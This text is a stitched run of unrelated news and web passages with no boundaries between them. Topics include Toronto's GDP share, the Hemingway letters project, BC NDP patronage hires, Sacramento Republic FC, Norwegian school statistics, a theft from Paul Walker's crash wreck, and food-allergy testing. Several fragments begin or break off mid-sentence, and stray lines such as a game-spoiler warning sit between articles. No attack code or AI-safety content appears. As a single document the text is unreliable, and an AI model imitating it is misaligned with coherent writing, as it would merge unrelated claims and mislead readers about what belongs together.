Now Lukáš Palatinus (Czech Academy of Sciences in Prague), Philippe Boullay (CRISMAT Laboratory, CNRS, Caen, France), and their colleagues have combined all three of those methods to derive structural solutions that explicitly locate hydrogen atoms. Previously, hydrogen’s low scattering power and large vibrational amplitudes have combined to produce signals so weak that they were indistinguishable from noise. Crystallographers would have to guess at the H-atom positions once they’d solved for the positions of all the heavier atoms.
On Monday Statistics Canada put out a new data series about “local” economies, showing how much our cities contribute to the national economy. The census metropolitan area* of Toronto pumped out $330 billion in 2013, the last year for which StatsCan conducted this exercise. That’s virtually equivalent to the GDP of the entire province of Alberta GDP ($331 billion) and within spitting distance of Canada’s second-largest province, Quebec ($337 billion).
Since the 2008 global economic crisis, much has been made of how Alberta’s rapid rise created a new economic magnetic pole in Canada. But as vital as resource growth was to Canada’s recovery, Toronto’s relative economic importance was only slightly diminished between 2009 and 2013 as Alberta boomed; Toronto’s share of national GDP declined from 19.2 per cent to 18.6 per cent. But of course since 2013 the story of Alberta’s economic miracle was interrupted—and possibly ended—as the price of oil collapsed in 2014 and again further in 2015. Meanwhile, since 2013, growth in numerous and diverse sectors that are disproportionately concentrated in Toronto (construction, real estate, finance, professional and technical services, IT and even some manufacturing) mean that Toronto’s economy has likely continued to generate roughly one-fifth of Canada’s GDP. Much as it has since at least 2001, according to analysis by Statistics Canada.
This shouldn’t really be a surprise when one considers the second important fact about Toronto that nobody ever talks about: The Toronto census metropolitan region is North America’s fourth-largest city, and Canada’s largest city, home to 20.4 per cent of all Canadians. According to World Bank statistics, Toronto is bucking an international trend, as a higher concentration of Canadian residents have steadily chosen to live in the city over time, the opposite of what is happening in all G7 nations.
So roughly a fifth of Canada’s population generates roughly a fifth of its economic activity. Doesn’t that make Toronto’s importance a non-story? Quite the opposite. Many business leaders, pundits and politicians have talked up how much Alberta’s oil and gas sector matters to the whole economy. Rarely does anyone go to bat for Toronto’s economy in the same way. Consequently the funding support provided to the two regions, and the attitude to public expenditures in each, are fundamentally different. Cities in Alberta, like Calgary, have been spending on infrastructure to accommodate the rise in population and activity. Toronto, on the other hand, has been trying to contain costs, even as the population being added to this city is three times larger than the population growth that has been occurring in Calgary. Toronto’s operating budget in 2013 was $10.9 billion and its capital budget was $3.7 billion. In 2016, the operating budget was down to $10.1 billion and its capital budget declined to $2.2 billion.
Toronto doesn’t have the revenue tools of the provinces, either, despite the fact that it eclipses in size eight (or likely nine now) provinces. Regardless of the merits of road tolls, the fact that Ontario Premier Kathleen Wynne recently rejected what the City of Toronto council chose as a new revenue measure says it all. Meanwhile, taken together, local governments in Canada account for about 20 per cent of all government revenues and expenses. Of that, Toronto makes up just 6.7 per cent of all local government spending and only 1.3 per cent of general government expenditures in Canada. This for a municipal region that serves more than 20 per cent of the Canadian population and is responsible for about the same share of the nation’s economic output.
It is true that most of the public services we enjoy come from more senior levels of government in the form of health and education spending. And it is also true that large, dense communities are cheaper to serve. Economies of scale are meaningful realities for both public and private goods and services. More resources are needed, however, to make sure Toronto’s aging infrastructure is maintained and expands rapidly enough to adjust for its population growth and increasing population density.
Put simply, Toronto ‘s future is underfunded. If you don’t believe me, take the word of City of Toronto’s city manager. And the longer it takes for Toronto to tackle its funding issues the more Canada risks watching its single most important source of economic power slip away. Canada’s macro-economic story unwinds rapidly if that happens. Canada is the 10th-largest economy in the world with a fraction of the population of the other members of the top 10 list, but there’s no guarantees that what got us there will keep us there.
From time to time over the years, frustrated Torontonians have argued for the creation of a new province or even a city state structure, in order to be able to wrestle more directly with chronic funding issues. That’s not likely to happen. But what might break the logjam and get targeted resources to places where most people live is the development of a national housing strategy and a national transportation strategy. The two are inextricably intertwined with federal immigration policies which add new people to our communities across Canada on a temporary and permanent basis each passing year, with no policies to address critical questions like: Where will they live, and how will they get to work if they can’t afford increasingly expensive downtown cores?
Tackle these problems, and you’ll solve much of what ails Canada’s biggest, most unloved city.
Armine Yalnizyan is an economist based in Toronto, and a regular business columnist on CBC Radio’s Metro Morning. Follow her on Twitter: @ArmineYalnizyan
It can be hard to find recreational and medical marijuana dispensaries near you when state laws keep dispensaries on a tight leash. Retail and medical cannabis shops get confined to certain areas, their advertising options are limited, and many states don't allow delivery services. At Leafbuyer, we've streamlined the dispensary-finding process, making it easier for consumers to find the shops and cannabis products they need.
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According to survey results published by the Pew Research Center, 62% of Americans say marijuana should be legalized.
Currently, there are 33 states with medical marijuana programs and 10 states with legal recreational marijuana programs.
In 2014, Colorado and Washington were the first states to legalize recreational marijuana, and many more have followed in their footsteps since then. Maine, Massachusetts, Oregon, Vermont, Michigan, California, Nevada, and Alaska have all legalized adult-use (recreational) marijuana.
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The younger Hemingway has given his blessing to the project, which seeks to collect and publish as many of the writer's surviving letters as it can find. An editorial team led by Sandra Spanier, a professor of English at Pennsylvania State University at University Park, has spent a decade scouring the world for Hemingway correspondence. She and Robert W. Trogdon, a professor of English at Kent State University, edited the first volume. The work is expected to run to at least 16 volumes, maybe more, and to take 20 years to complete.
The publication comes at a time when literary scholars are taking a fresh look at Hemingway's work, and challenging the conclusions drawn by their colleagues a few decades ago. The letters are likely to further that project, as well as alter Hemingway's image in the popular imagination.
Against His Wishes
Hemingway did not want his letters published, according to instructions he wrote to his wife Mary in the late 1950s. A few letters have trickled into print since then, and Mary Hemingway did permit an edition of selected letters in 1981, but the large majority remain unpublished. (Some, including his letters to his wartime love, who was a Red Cross nurse named Agnes von Kurowsky, and many of his letters to his first wife, Hadley Richardson, were destroyed by the recipients; Hemingway tended to keep the letters he received as well as copies of many of the letters he wrote.) Patrick Hemingway says it's been long enough since his father's death that it's time they became more widely available, partly as a response to the stereotype of the writer as a tortured figure.
"My principal motive for wanting it to happen was that I think it gives a much better picture of Hemingway's life than any of his biographers to date, including Mr. Hendrickson," Patrick Hemingway says. He's referring to Paul Hendrickson, the author of Hemingway's Boat: Everything He Loved in Life, and Lost, 1934-1961 (Knopf), the latest exploration of the writer's life and psyche.
Mr. Hemingway dismisses such depictions of his father as "utterly inadequate" and distorted.
"Hemingway was not a tragic figure." he says. "He had the misfortune to have mental troubles in old age. Up until that, he was a rather lighthearted and humorous person." The letters "will elucidate his humanity, which is what people are always looking for in a writer," Patrick Hemingway says.
Mr. Hemingway says he learned a lot about his father from the letters in the first volume. "It's very hard to support the thesis of an unhappy childhood with Ernest Hemingway," he says. "I really don't think his is the case of an unhappy childhood at all."
Ms. Spanier, the general editor of the Letters, calls them "the raw footage of his life." She agrees with Mr. Hemingway that through them "you see many sides" of the writer "that get flattened out in biographies."
For instance, the young Ernest Hemingway's letters to his family challenge the idea that he and his parents didn't get along. "It's sort of a commonplace that Hemingway hated his mother, and it's true that they had a very strained relationship later on," Ms. Spanier says. "What's striking about these early letters is the closeness of the family, the loving tone in which he speaks to both his parents."
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Hemingway also tailored the letters to the interests of the people to whom they were sent. So he will write to his mother, a singer and classical-music lover, about performances he's attended. "With his father, who was a physician and a great outdoorsman, he will describe his medical symptoms" and treatment, and share descriptions of animals he's seen, Ms. Spanier says.
Volume I covers not just the budding writer's childhood in Oak Park, Ill., but also his time as a reporter for The Kansas City Star, his experiences as an ambulance driver on the Italian front in World War I, the heartbreak of his romance with Agnes von Kurowsky—an episode that helped inspire A Farewell to Arms—his marriage to Hadley, and their plunge into artistic life in Paris. "We really see him launched from the American Midwest into this milieu of avant-garde Europe and the postwar political happenings of Europe," Ms. Spanier says.
Her co-editor, Mr. Trogdon, says that what really stands out for him "is how much of the early fiction shows up in the letters." In a 1919 letter to his friend Jim Gamble, for instance, Hemingway describes a Michigan scene that becomes the setting for a story he wrote several years later called "The End of Something." Many of the letters record "sources and motifs and settings" that appear later in the fiction, he says.
They're also idiosyncratic, lively, dotted with nicknames, doodles, and unusual spellings, and typewriter-induced typos. Many have a refreshingly off-the-cuff feel that contrasts with the polish of his published work. He urges correspondents to "screed" him—to write him back—calls friends and siblings "kid" and "old bean," and refers to his typewriter as "the typer."
Textual Idiosyncrasies
Such idiosyncrasies created an interesting publishing challenge, according to Linda Bree, editorial director for arts and literature at Cambridge University Press. The Letters project isn't a facsimile edition, but the editors wanted to preserve some of the offbeat textual and graphic elements. Cambridge has published several comprehensive collections of the letters of literary figures, including D.H. Lawrence and Joseph Conrad. "But one of the unusual things about Hemingway's letters is that he did quite a bit of doodling, and there are lots of little pictures and images that decorate his letters," Ms. Bree says. That was a technological challenge, according to the editor, but Cambridge decided that public and scholarly interest in Hemingway continues to be so robust that the effort would be worth it.
Most challenging of all was the work required to locate as many letters as possible and get permission from rights holders to use them. It's taken Ms. Spanier and her team the better part of a decade, and it required the cooperation of both the Ernest Hemingway Foundation and the Hemingway Foreign Rights Trust, which hold the U.S. and international copyrights to the letters. To the disappointment of some scholars, the press has no plans for a digital version; the rights clearances are just too complicated, the editors say.
Mr. Trogdon points out the essential role played by Penn State, which gathered photocopies of all the letters the editors located. That database has been invaluable, he says. Whenever they could, the editors checked the copies against the originals.
The John F. Kennedy Presidential Library and Museum, in Boston, holds the largest collection—more than 2,500 letters. Princeton University has about 1,400 in its library, including the archives of Hemingway's longtime publisher, Scribner, and Hemingway's correspondence with his editor Max Perkins. Other collections exist at many other institutions, including the Harry Ransom Center at the University of Texas at Austin, and many individual letters are in the possession of family members or collectors. For instance, a descendant of the pilot of the plane that crashed with Hemingway aboard during an African trip in 1954 got in touch to share some letters the editors hadn't known about. (That pilot was also a passenger on the rescue plane that crashed with the Hemingways aboard soon after the first accident.)
Ms. Spanier estimates that the editors gathered copies of letters from about 70 institutional repositories and many more from individuals. They have identified at least 6,000 letters to publish, and she expects that others will emerge as word of the project spreads. That's one reason that Cambridge doesn't yet know exactly how many volumes there will be in the complete series.
"I really congratulate the editors," Patrick Hemingway says. "They have done a marvelous job of getting these letters. It's an enormous work of scholarship to put all this together."
New Scholarly Questions
The Letters project comes at a good time for Hemingway studies. In the 1980s and 90s Hemingway fell out of favor in academe. "It seems that a lot of people were discouraged from working on Hemingway," says Mr. Trogdon. "A lot of this had to do with the view that he was a misogynist." Then there was all that "hunting and fishing and killing poor defenseless animals, as someone once put it to me." Now "a lot of people are taking a closer look and seeing that's not always the case," he says. In particular, he mentions a number of female scholars who "are just doing tremendous work on Hemingway," moving beyond the stereotypes.
"What it seems like to me, is that the media is yet-again working really hard to smear the host city, the IOC, and the Olympics as an institution as part of the hype leading in to the Games. In Beijing, people were hyper-focused on air quality. In London, the criticism fell on budget and timeline issues. This year, it’s more of the same and people seem more motivated than ever to portray the impending Rio Games as the biggest-ever disaster that hasn’t happened yet. Why? Why do we insist on indulging this negativity when there is so much potential for a culture of optimism and positivity in and around the Games? As a culture we have a really simple choice when it comes to how we want to frame the conversation around Rio 2016, and at every turn it seems we are choosing to be jerks."
"Think of it this way: every time you sensationalize the poor water quality, or try to get athletes to react to Zika, or chastise the Brazilian people for allowing their government to collapse, you’re not just insulting the Brazilian people. You’re also insulting us, your American athletes."
HM Revenue and Customs (HMRC) has been granted permission to appeal against a tax ruling over Rangers Football Club's use of employee benefit trusts (EBTs).
In July, an upper-tier tax tribunal (UTT) largely upheld a first-tier tribunal (FTT) decision that EBT payments made to players and other employees should not be taxable.
Rangers former owners, the Murray Group, argued the payments were loans.
HMRC's latest appeal will be heard at the Court of Session in Edinburgh.
HMRC's tax claims were mostly rejected at a first-tier tribunal (FTT), which issued a 2-1 majority verdict in November 2012 favouring, in principle, the Murray Group.
Consequently, HMRC's demands for £46.2m, about three-quarters of which related to Rangers, was substantially reduced.
The UTT largely upheld that verdict but ordered some payments to be re-examined by the original tribunal, including termination and "guaranteed bonus" payments.
The new NDP administration has awarded lucrative taxpayer-paid government jobs to numerous party campaign managers, field organizers, digital communications specialists, financial agents and constituency assistants, according to a Postmedia analysis of government cabinet orders used to make the hires.
In one case, the NDP hired Kassandra Dycke, the party’s failed 2013 candidate in Courtenay-Comox, to an $80,000 ministerial assistant job to Health Minister Adrian Dix. When the previous Liberal government in 2013 hired several of its defeated candidates to the public payroll, then-NDP critic John Horgan was irate.
“That seems to be the foundation of the B.C. Liberals’ jobs plan, every time we look at the Orders in Council, there’s a new failed candidate who has been given a sizable pay increase and is now working on the government dime,” Horgan said on July 4, 2013.
“There are no job qualifications for them. (Were) they interviewed for the positions against other qualified candidates? We have a basement teeming with interns, young capable people who don’t profess to have a partisan stripe, working for both caucuses. Did they have an opportunity to get one of these jobs?”
But the Horgan government has followed the same path as the Liberals. Now in power, it doesn’t view those types of hires as a problem anymore.
“It is both normal and necessary to hire staff who share the government’s vision and can implement its commitments,” the premier’s office said in an emailed statement Tuesday. “Our government has been fully transparent about its staff appointments, including salaries.”
The government’s ministerial assistant and communications jobs are littered with young New Democrats, former Alberta NDP staff, former federal NDP staff, 11 former NDP constituency assistants and at least six former Vision Vancouver staffers — including the party’s previous digital director and manager of youth engagement. Executive director Stepan Vdovine quit in August to work as an NDP assistant. Former Vision parks board chair Niki Sharma, a lawyer, was also hired to a similar job.
The new ministerial assistants also include Caelie Frampton, an NDP digital campaigner in the 2017 election; Sarena Talbot, an NDP field organizer; Lori Ann Winstanley, a veteran NDP campaigner who most recently worked at the MoveUp union; and Christian Romulo Avendano, a canvasser and fundraiser for the party during byelections in 2016. The salaries range between $72,000 and $94,500 for senior assistants.
The Liberal Opposition said it’s calculated an almost 27 per cent increase in the amount the public is spending on ministerial staff under the new NDP government.
“The increased politicization of government communications is very disturbing and reflects another broken NDP promise,” Liberal caucus spokesman Shane Mills said in a statement. “There are more political staff in ministers’ offices now and budgets have gone up substantially.”
It’s been common for governments to hire partisan loyalists as aides in ministerial offices. However, the NDP sharply criticized the practice while in opposition.
But it’s not only the partisan patronage hires that have raised eyebrows.
The government used public resources to create a new “Better B.C.” website — a tag line used by the NDP during the election — that regurgitates the three priority areas of the NDP campaign. On an email sign-up page, the government privacy contact listed is Karl Hardin, the NDP’s digital director during the election campaign whom the Horgan government has hired as an “executive director” in its communications branch.
Rewarding partisan friends with publicly paid communications jobs was a common tactic of the B.C. Liberals, and one Horgan and the NDP often criticized as unacceptable. But the upper ranks of the new government communications wing are also partisan New Democrats, including several who worked for the 1990s NDP government, as well as former NDP caucus employees. The new director of event services, Rick Devereux, was NDP’s 2017 election tour director.
The Better B.C. website also features a video, in which actors praise the NDP government for following through on election promises like eliminating bridge tolls. The video was made by Stephen Hargreaves a newly hired “video producer” in the government communications branch. Hargreaves most recently produced the NDP’s 2017 election campaign videos.
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PROVIDENCE, R.I. (WPRI) -- Police in Providence responded to reports of a robbery at the Khoo Kitchen on Charles Street late Friday night around 11 p.m.
Police tell Eyewitness News that two men entered the restaurant, with one carrying a machete and threatening a clerk to give them money.
A witness told police that the man then knocked everything off the counter with the machete in his hand, attempting to rob the place.
The men could not get the cash register open, and after quite some time eventually fled from the scene.
Police said both men were light skinned with thin builds.
One was wearing a black jacket, blue hoodie, black sneakers and a bandana.
The other was wearing black jeans.
Police are still searching for the suspects and are reviewing surveillance video.
The team had a sizable offseason makeover that included the departure of five starters, including team leaders Justin Braun and Rodrigo Lopez, who accounted for 18 USL goals combined last season.
Coach Paul Buckle, hired midway through last season, will put together his first Republic FC opening day lineup from a roster that is a lot younger and less experienced than the 2014 team that won the USL championship or the 2015 squad that lost in the first round of the playoffs.
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SHARE COPY LINK The division his team competes in is better than last season, but despite challenges from other teams, Sacramento Republic FC has the talent and opportunity to have an impact on the USL Western Conference. Assessing Republic FC's lineup, coach Pau
This will be Republic FC’s third season in a maturing league that continues to grow dramatically. The USL, which added six franchises to increase to 29 for 2016, has more than doubled in size since 2013.
“The standards of the USL are only getting higher,” Republic FC director of football Graham Smith said. “It’s all been good for the league, good for the fans. But it’s going to be challenging for us.”
Last season’s wild Western Conference race wasn’t decided until Sacramento’s final game against the Orange County Blues FC.
Republic FC and the Colorado Springs Switchbacks FC finished with 46 points, one fewer than the first-place Blues and second place OKC Energy FC. The LA Galaxy II, which finished fifth with 45 points, beat Sacramento 1-0 in the opening round of the playoffs and came within stoppage time of winning the USL title before losing to the Rochester Rhinos 2-1 in extra time in the finals.
Republic FC could face an even more difficult challenge this season, with the Western Conference expanding to 15 with three new teams, including the Swope Park Rangers. The Sporting Kansas City’s affiliate already has impressed in the preseason, beating the Colorado Rapids and tying the Columbus Crew, both Major League Soccer teams.
“The Blues and the Switchbacks, you must not rule them out,” Buckle said. “But obviously the MLS 2 (affiliated) teams, they’ve got a lot of quality; every player wants to be playing in an MLS environment.”
Republic FC opens the season Friday against the Seattle Sounders 2, which won a Western Conference-leading 11 home games last year but had only seven players under contract as of Thursday. The Sounders may draw heavily from their MLS side for help.
“It’s always difficult to make judgments this early in the season,” Buckle said. “I think any league takes eight or 10 games for teams to find their feet and for the players to get up and running properly. But of course we’re confident in the lads we’ve got here. We’ve got a fine attitude towards training. We’ve had a good preseason, where I feel the players are up to speed and the very best we can be.”
Republic FC returns 13 players from last season, including defenders Emrah Klimenta and James Kiffe and midfielder Ivan Mirkovic, each of whom played in at least 24 of 28 league matches.
Smith said midfielder Danny Barrera, who joined the team midway through last season, has the potential to step into the playmaker role vacated by Lopez. Forward Thomas Stewart and midfielder Max Alvarez, in and out of the lineup last season, look to return to their 2014 form when Stewart had 13 goals and Alvarez eight assists. Buckle hopes they can boost goal production for a team that was shut out in its final three games last season.
Midfielder Octavio Guzman, who started 17 of 18 USL matches before missing the last 10 because of a knee injury, is rounding back into form, while midfielder Joaquin Rivas, midfielder/defender Agustin Cazarez, defenders Alfonso Motagalvan and Derek Foran, forward Cameron Iwasa and goalkeeper Dominik Jakubek are able veterans familiar with Buckle’s system.
The signing of former San Jose Earthquakes midfielder JJ Koval is a huge coup, and he is expected to be an impact player for Sacramento. The former Stanford star, who played in 39 MLS matches with San Jose before his release in late February, had brief loan spells with Republic FC in 2014 and 2015.
Mirkovic said flying under the radar isn’t a bad thing for a team with so many young players after being the defending champion last year.
“I would prefer that we be thought of as an underdog,” Mirkovic said. “It’s better not having that pressure on our back.”
But Klimenta said Republic FC’s reputation and its USL attendance-busting crowds at Bonney Field will still make it the USL team everyone wants to beat.
“I don’t know if we’re the underdogs, the mystery team or the favorites,” Klimenta said. “But I believe every team that comes into Bonney Field is gunning for us because they want to shut our fans up and shut us down.
“While we do have new faces, I think people will be surprised how together we have become. We’re all in for the same purpose, which is to win another championship.”
SHARE COPY LINK Adam Jahn, Tommy Thompson, former Sacramento high school soccer stars now playing for the San Jose Earthquakes, proclaim their satisfaction at being back home in the capital while preparing to play for Republic FC in its match on Friday, March 25,
Nesten 2.200 elever som gikk ut av ungdomsskolen i 2012 gjorde det så svakt at de ble utelatt fra tallene til Statistisk sentralbyrå (SSB). skriver Finansavisen i dag.
De manglet karakter i mer enn halvparten av fagene og fikk således null grunnskolepoeng. Null-kandidatene utgjorde 3,4 prosent av elevkullet.
Senker snittet Tall Finansavisen har mottatt fra SSB i ettertid viser at gjennomsnittlig antall grunnskolepoeng senkes ned under 40 for hele elevkullet når man inkluderer elevene med null poeng.
Særlig er elever med innvandrerbakgrunn overrepresentert i gruppen med null grunnskolepoeng. Hele 10 prosent av innvandrerelevene mangler karakter i de fleste fagene når de går ut av ungdomsskolen.
SSB-rapporten konkluderte med at innvandrerelever fikk 35,1 grunnskolepoeng. Inkluderes gruppen som fikk null grunnskolepoeng, havner gjennomsnittet på 31,6 poeng. Sammenlignbart for elever uten innvandrerbakgrunn var 39,2 poeng, viser en oversikt i avisen.
Det betyr at nesten hver femte innvandrerelev risikerer å bli trygdemottager i ung alder. De som særlig er i faresonen er elever fra ikke-vestlige land og øst-europeiske EU-land, siden disse oppnådde lavere poengsum enn innvandrerelever fra vestlige land.
I en epost fra Kunnskapsdepartementet gis det uttrykk for at kunnskapsminister Torbjørn Røe-Isaksen (H) har ment nok om denne problemstillingen, og at han ikke har noen ytterligere kommentarer nå.
SSB mener de har gjort rett- SSBs statistikk tar utgangpunkt i grunnskolepoeng som beregnes ved opptak til videregående skole. Måten å regne ut grunnskolepoeng på er hjemlet i forskrift til opplæringsloven, sier seniorrådgiver Alice Steinkellner i SSB.
We were sitting around reminiscing about our favorite SFM videos, when we realized it's time to start this year's Saxxy Awards! We're still reeling from the great videos from last year, and are looking forward to even more!
One thing we'd especially like to see more of, is videos made in other universes. Since the Saxxy Awards started as a Team Fortress 2 video contest, and the SFM runs a modified version of TF2 itself, we've naturally seen mostly videos in that universe. We're hoping to change that by shipping assets from other games as optional DLC.
So starting today, you'll be able to download Portal assets directly in the SFM through the Portal Content Pack DLC! All the models, particles and sounds from Portal 2 will be included, but unfortunately the SFM isn't able to render the Portal-specific effects like light bridges, gels, or well, portals.
As exciting as that is, we're even more excited to be offering our first non-Valve content pack! Puny Human Games have offered up assets from Blade Symphony, their tactical sword fighting game, for you to use in your movies! You'll be able to download the assets they've provided in the Blade Symphony Content Pack DLC, and even submit images and videos to their community hub! See their Media Monetization Policy here.
Cops say a suspect followed a tow truck that was carting off the remains of the wrecked Porsche involved in Paul Walker's deadly crash Saturday and pulled a part from the sports car after the truck's driver stopped for a red light.
Really.
Continue Reading
See also: Paul Walker of 'Fast & Furious' Franchise Dead in High-Speed Crash.
The L.A. County Sheriff's Department tonight ID'd that suspect as 18-year-old Jameson Witty of Tujunga:
He was collared about 11:30 a.m. today, according to sheriff's inmate data.
A statement from the department's Santa Clarita Station says deputies armed with a search warrant for his residence nabbed Witty as he was leaving home.
A second suspect, a 25-year-old who is outside the state, was talking to cops about turning himself in, sheriff's officials said.
The tow truck was assigned to pick up the wreckage and take it to an impound yard for futher investigation, deputies said. The remains of the Carrera GT were being hauled off about 10 p.m. Saturday, they said.
See also: Paul Walker's Last Ride: The Porsche Carrera GT.
The driver noticed "several" vehicles following the truck as it headed east on Newhall Ranch Road, according to the Sheriff's Department. Here's what happened next, according to that statement:
At one point the driver of the tow truck stopped at the red light E/B Newhall Ranch Road at McBean Parkway. A witness saw a male exit a vehicle that was following the tow truck. The male grabbed a piece of the wrecked Porsche off the tow truck bed. The male drove away with the stolen vehicle part. The tow truck driver reported the theft to the Santa Clarita Valley Sheriff's Station.
The part was described as one of the red Porsche's removable roof pieces, known as t-tops, cops said.
Sheriff's detectives say they'll recommend charges of grand theft and tampering with evidence. Witty was being held in lieu of $20,000.
Paul Walker via Wikipedia.
He was due in North Valley Superior Court Monday, according to sheriff's inmate data.
Walker died Saturday afternoon after his friend, Roger Rodas, took him for a spin around Valencia in the exotic sports car.
See also: Paul Walker Died of Traumatic Injuries, Coroner Says.
The Porsche might have split apart. It definitely went up in flames. And Walker, a 40-year-old best known for his role in the Fast and the Furious franchise, and Rodas, were dead at the scene.
SPOILERS, DO NOT READ IF YOU HAVEN’T FINISHED BRAVELY DEFAULT (THE FIRST GAME)
Bill C-377 is sponsored by Conservative MP Russ Hiebert. (CP/Adrian Wyld) It took years of debate, but Conservative MP Russ Hiebert seems to have finally emerged victorious. His union transparency legislation, Bill C-377 , the one he's championed since 2012, is set to become law.
It was muscled through the Senate by a Conservative majority and passed on the eve of Canada Day.
But Canadian unions are not prepared to call it a done deal. They see this as a direct attack on them and their members, and are vowing to fight it.
For some insight into the bill, we were joined by BuzzFeed Canada politics reporterEmma Loop in Ottawa.
As you can imagine, this legislation has been a hot topic amongst organized labour groups.
Hassan Yussuf is the President of the Canadian Labour Congress in Ottawa.
is the President of the Canadian Labour Congress in Ottawa. John Mortimer is the president of Canadian Labour Watch Association, a self-described employee advocacy group that came out in favour of the bill. He was in Vancouver.
This segment was produced by The Current's Ines Colabrese, Marc Apollonio and Howard Goldenthal.
Related Links
Controversial Bill Targeting Unions Will Become Law - BuzzFeed Canada
PMO uses majority to force through Bill C-377 - Canadian Labour Congress
Union finance bill passes - The Canadian Press
The child's mother, during the previous year, had told doctors that standard infant formula seemed to provoke vomiting and a rash. The mother and her pediatrician assumed the girl was allergic to the formula and switched her to goat's milk. Symptoms persisted, though, and the baby was switched again, to coconut milk and rice syrup. At 13 months, the pediatrician noted yet another red, swollen rash and ordered an allergy test, the child's first. The test identified coconut as a so-called high-reaction class, and coconut milk was removed from her diet. Reduced to a diet of rice milk, the child's symptoms worsened.
In the ER, doctors determined the girl suffered from kwashiorkor, a nutritional disorder rarely seen in the developed world. She was fed intravenously and evaluated by a team that included pediatric allergist J. Andrew Bird, who used more sophisticated methods to test her response to coconut and cow's milk, wheat, soy, egg white, fish, shrimp, green beans and potatoes. To her mother's astonishment, the toddler showed no adverse reaction to any of them. After a few days of steady nourishment and a course of antibiotics to clear her skin of various infections, she was released from the hospital into a life free of food restrictions. (Her digestive upsets appeared to be caused by a variety of common ailments that would have almost certainly cleared on their own.)
The problem was not in the baby but in the tests. Common skin-prick tests, in which a person is scratched by a needle coated with proteins from a suspect food, produce signs of irritation 50 to 60 percent of the time even when the person is not actually allergic. “When you apply the wrong test, as was the case here, you end up with false positives,” says Bird, who co-authored a paper describing the Dallas case in 2013 in the journal Pediatrics. And you end up with a lot of people scared to eat foods that would do them no harm. Bird has said that he and a team of researchers found that 112 of 126 children who were diagnosed with multiple food allergies tolerated at least one of the foods they were cautioned might kill them.
Kari Nadeau, director of the Sean N. Parker Center for Allergy Research at Stanford University, says that many pediatricians and family physicians are not aware of these testing flaws. “When it comes to diagnosis, we've been in the same place for about 20 years,” she observes. To move forward, Nadeau and other researchers are developing more advanced and easily used methods.
Food allergies are real and can be deadly, but mistakenly slapping an allergy label on a patient can be a big problem as well. First, it does not solve the person's troubles. Second, a diagnosis of allergies comes with a high price: a few years ago Ruchi S. Gupta, a pediatric allergist affiliated with the Northwestern University Feinberg School of Medicine, estimated the annual cost of food allergy at nearly $25 billion, or roughly $4,184 per child, with some of that attributed to medical costs but even more to a decline in parents' work productivity.
There is a mental health price as well: children who believe they have a food allergy tend to report higher levels of stress and anxiety, as do their parents. Every sleepover, picnic and airplane ride comes fraught with worry that one's child is just a peanut away from an emergency room visit or worse. Parents and children must be ever armed with an injectable medicine that can stave off a severe allergic reaction. The prospect of a lifetime of this vigilance can weigh heavily on parents, some of whom go so far as to buy peanut-sniffing dogs or to homeschool their children to protect them both from exposure to the offending food and from the stigmatization of the allergy itself.
Pediatric allergist John Lee, director of the Food Allergy Program at Boston Children's Hospital, has heard more than his share of horror stories. “Food allergies can be terribly isolating for a kid,” he says. “One parent told me his child was forced to sit all alone on a stage during lunch period. And siblings can feel resentful because in many cases parents don't feel they can take family vacations or even eat dinner in a restaurant.”
Diagnosing a food allergy usually begins with a patient history and the skin-prick test. If the scratch does not provoke a raised bump surrounded by a circle of red itchiness, the patient almost certainly is not allergic to the material. But positive tests can be harder to interpret because skin irritation does not necessarily reflect a true allergy, which is a hypersensitivity of the immune system that extends through the body. In a real allergy, immune components such as IgE antibodies in the blood are stimulated by an allergen. The antibody binds to immune cells called mast cells, which then triggers release of a cascade of chemicals that produce all kinds of inflammation and irritation. But levels of allergen-specific antibodies in the blood are quite low even in allergic people, so running a simple blood test is not an answer, either.
The diagnostic “gold standard” for food allergy is a placebo-controlled test. A potential irritant is eaten, and the body's response (a rash, say, or swelling) is compared with what happens after eating something that looks like the irritant but is benign. For example, a patient who might be allergic to eggs is given a tiny amount of egg baked into a cake, along with a taste of egg-free cake. Ideally, the test is double-blind, meaning that neither the patient nor the allergist knows which cake contains egg. The accuracy rate of these tests, for both positive and negative results, is about 95 percent, according to Lee.
Unfortunately, this procedure is tricky, time-consuming, expensive and relatively uncommon; experts agree that few allergy sufferers have access to it.
James Baker, who is a physician and immunologist and CEO of the nonprofit Food Allergy Research & Education (FARE), says his organization is tackling this problem by setting up 40 centers around the country to administer food challenges with all the necessary precautions. “You have to be prepared to treat or transport people to the emergency room if they react,” he asserts.
Scientists are also looking for something easier to use. One promising newcomer to the diagnostic arsenal is the basophil-activation test (BAT). Basophils, a type of white blood cell, excrete histamines and other inflammatory chemicals in reaction to a perceived threat—such as an allergen. Nadeau and her colleagues have designed and patented a test that involves mixing just one drop of blood with the potential allergen and measuring the reaction in basophils. In pilot studies, the procedure diagnosed allergies with 95 percent accuracy in both children and adults, a rate similar to that of food-challenge tests.
BAT is still in the research phase and requires more studies with a larger, more varied population, but another approach—allergen-component testing—has already been approved by the U.S. Food and Drug Administration for peanut allergies. Lynda Schneider, a pediatric allergist and director of the Allergy Program at Boston Children's Hospital, says that some children have a mild sensitivity—but not a full-blown allergy—to one protein in peanuts. Rather than testing them with crude mixtures of lots of proteins found in nuts, Schneider's component tests isolate specific proteins and then challenge the patient with those. By sorting out which protein is prompting the negative reaction, physicians can determine with a high degree of accuracy whether the patient is truly allergic to peanuts.
Schneider wants to get beyond diagnosis and into treatment. Omalizumab is a monoclonal antibody that binds to IgE antibodies and prevents them from glomming on to mast cells, which triggers the allergic cascade. In a recent study, Schneider and her colleagues administered this so-called anti-IgE drug over the course of 20 weeks to 13 children who were known to have peanut allergies while giving them a gradually larger dose of peanuts. During the anti-IgE phase, none of the children developed an allergic reaction to peanuts, although two did have a recurrence once the anti-IgE regime ended. “The anti-IgE allowed their system to go through a desensitization process,” Schneider says.
Kids who are allergic to milk and eggs can be gradually desensitized by heating these foods for 30 minutes or so, Bird has found. The heat changes the shape of these proteins, which vastly reduces their tendency to provoke allergies. This is not a home remedy, and it is done under medical supervision, but studies of kids who are fed small amounts of heated egg or milk show the children are far more likely to acquire a tolerance to these foods over time—that is, more likely to outgrow the allergy. A study called Learning Early About Peanut Allergy (LEAP) showed that exposing children to tiny amounts of peanut products early in their life dramatically reduced the incidence of allergy.
By: Col Jackson
Presented by
On top of providing a unique taste sensation, the virtually unknown Achacha fruit is also packed with health benefits. COL JACKSON visited the world’s first commercial plantation in North Queensland.
An Achacha tart recently took the prize in a popular national cooking program, and on a farm near Giru in North Queensland while a husband and wife of 49 years were witnessing another step forward in their venture to commercially produce a virtually unknown fruit native to Bolivia.
